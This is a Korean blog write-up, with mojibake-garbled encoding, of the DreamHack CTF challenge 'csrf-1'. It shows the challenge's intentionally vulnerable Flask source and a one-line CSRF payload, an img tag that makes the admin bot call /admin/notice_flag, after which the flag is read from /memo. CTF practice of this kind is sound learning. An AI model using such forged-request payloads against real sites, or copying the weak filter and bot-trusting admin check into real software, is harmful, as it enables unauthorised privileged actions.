๐Ÿ”’ Cyber Security/Web Hacking (์›นํ•ดํ‚น)

[DreamHack] ๋“œ๋ฆผํ•ต ์›นํ•ดํ‚น: csrf-1

์„ ๋‹ฌ 2022. 11. 8. 22:13
๋ฐ˜์‘ํ˜•

https://dreamhack.io/wargame/challenges/26/

 

csrf-1

์—ฌ๋Ÿฌ ๊ธฐ๋Šฅ๊ณผ ์ž…๋ ฅ๋ฐ›์€ URL์„ ํ™•์ธํ•˜๋Š” ๋ด‡์ด ๊ตฌํ˜„๋œ ์„œ๋น„์Šค์ž…๋‹ˆ๋‹ค. CSRF ์ทจ์•ฝ์ ์„ ์ด์šฉํ•ด ํ”Œ๋ž˜๊ทธ๋ฅผ ํš๋“ํ•˜์„ธ์š”. Reference Client-side Basic

dreamhack.io

 

๋ฌธ์ œ์ •๋ณด

์—ฌ๋Ÿฌ ๊ธฐ๋Šฅ๊ณผ ์ž…๋ ฅ๋ฐ›์€ URL์„ ํ™•์ธํ•˜๋Š” ๋ด‡์ด ๊ตฌํ˜„๋œ ์„œ๋น„์Šค์ž…๋‹ˆ๋‹ค.

CSRF ์ทจ์•ฝ์ ์„ ์ด์šฉํ•ด ํ”Œ๋ž˜๊ทธ๋ฅผ ํš๋“ํ•˜์„ธ์š”.

 

๋”๋ณด๊ธฐ
#!/usr/bin/python3
from flask import Flask, request, render_template
from selenium import webdriver
import urllib
import os

app = Flask(__name__)
app.secret_key = os.urandom(32)

try:
    FLAG = open("./flag.txt", "r").read()
except:
    FLAG = "[**FLAG**]"


def read_url(url, cookie={"name": "name", "value": "value"}):
    cookie.update({"domain": "127.0.0.1"})
    try:
        options = webdriver.ChromeOptions()
        for _ in [
            "headless",
            "window-size=1920x1080",
            "disable-gpu",
            "no-sandbox",
            "disable-dev-shm-usage",
        ]:
            options.add_argument(_)
        driver = webdriver.Chrome("/chromedriver", options=options)
        driver.implicitly_wait(3)
        driver.set_page_load_timeout(3)
        driver.get("http://127.0.0.1:8000/")
        driver.add_cookie(cookie)
        driver.get(url)
    except Exception as e:
        driver.quit()
        print(str(e))
        # return str(e)
        return False
    driver.quit()
    return True


def check_csrf(param, cookie={"name": "name", "value": "value"}):
    url = f"http://127.0.0.1:8000/vuln?param={urllib.parse.quote(param)}"
    return read_url(url, cookie)


@app.route("/")
def index():
    return render_template("index.html")


@app.route("/vuln")
def vuln():
    param = request.args.get("param", "").lower()
    xss_filter = ["frame", "script", "on"]
    for _ in xss_filter:
        param = param.replace(_, "*")
    return param


@app.route("/flag", methods=["GET", "POST"])
def flag():
    if request.method == "GET":
        return render_template("flag.html")
    elif request.method == "POST":
        param = request.form.get("param", "")
        if not check_csrf(param):
            return '<script>alert("wrong??");history.go(-1);</script>'

        return '<script>alert("good");history.go(-1);</script>'


memo_text = ""


@app.route("/memo")
def memo():
    global memo_text
    text = request.args.get("memo", None)
    if text:
        memo_text += text
    return render_template("memo.html", memo=memo_text)


@app.route("/admin/notice_flag")
def admin_notice_flag():
    global memo_text
    if request.remote_addr != "127.0.0.1":
        return "Access Denied"
    if request.args.get("userid", "") != "admin":
        return "Access Denied 2"
    memo_text += f"[Notice] flag is {FLAG}\n"
    return "Ok"


app.run(host="0.0.0.0", port=8000)

 

ํ’€์ด

@app.route("/admin/notice_flag")
def admin_notice_flag():
    global memo_text
    if request.remote_addr != "127.0.0.1":
        return "Access Denied"
    if request.args.get("userid", "") != "admin":
        return "Access Denied 2"
    memo_text += f"[Notice] flag is {FLAG}\n"
    return "Ok"

1. notice_flag ๊ฒฝ๋กœ๋ฅผ ๋“ค์–ด๊ฐˆ๋•Œ

2. userid ๊ฐ€ admin์ด๋ผ๋ฉด

3. memo ๊ฒฝ๋กœ์— FLAG ๋ฅผ ๋ณด์—ฌ์ค€๋‹ค๊ณ  ํ•œ๋‹ค.

 

๊ทธ๋ƒฅ ๋ฐ”๋กœ /notice_flag ๊ฒฝ๋กœ๋ฅผ ๋“ค์–ด๊ฐ€๋ฉด AccessDenied ๊ฐ€ ๋œจ์ง€๋งŒ

/notice_flag?userid=admin

1๋ฒˆ๊ณผ 2๋ฒˆ ์กฐ๊ฑด์„ ๋งŒ์กฑํ•˜๋Š” ์ฟผ๋ฆฌ๋ฅผ ์‹คํ–‰์‹œํ‚ค๋ฉด ๋œ๋‹ค

 

flag ๊ฒฝ๋กœ์— ๋“ค์–ด๊ฐ€์„œ  ์œ„ ์ฟผ๋ฆฌ๋ฅผ ์‹คํ–‰์‹œํ‚ฌ ์ˆ˜ ์žˆ๋Š” ์ฝ”๋“œ๋ฅผ ์‚ฝ์ž…ํ•œ๋‹ค

<img src="/admin/notice_flag?userid=admin" />

 

memo ๊ฒฝ๋กœ์— ๋“ค์–ด๊ฐ€๋ฉด FLAG ๊ฐ€ ๋œฌ๋‹ค

๋ฐ˜์‘ํ˜•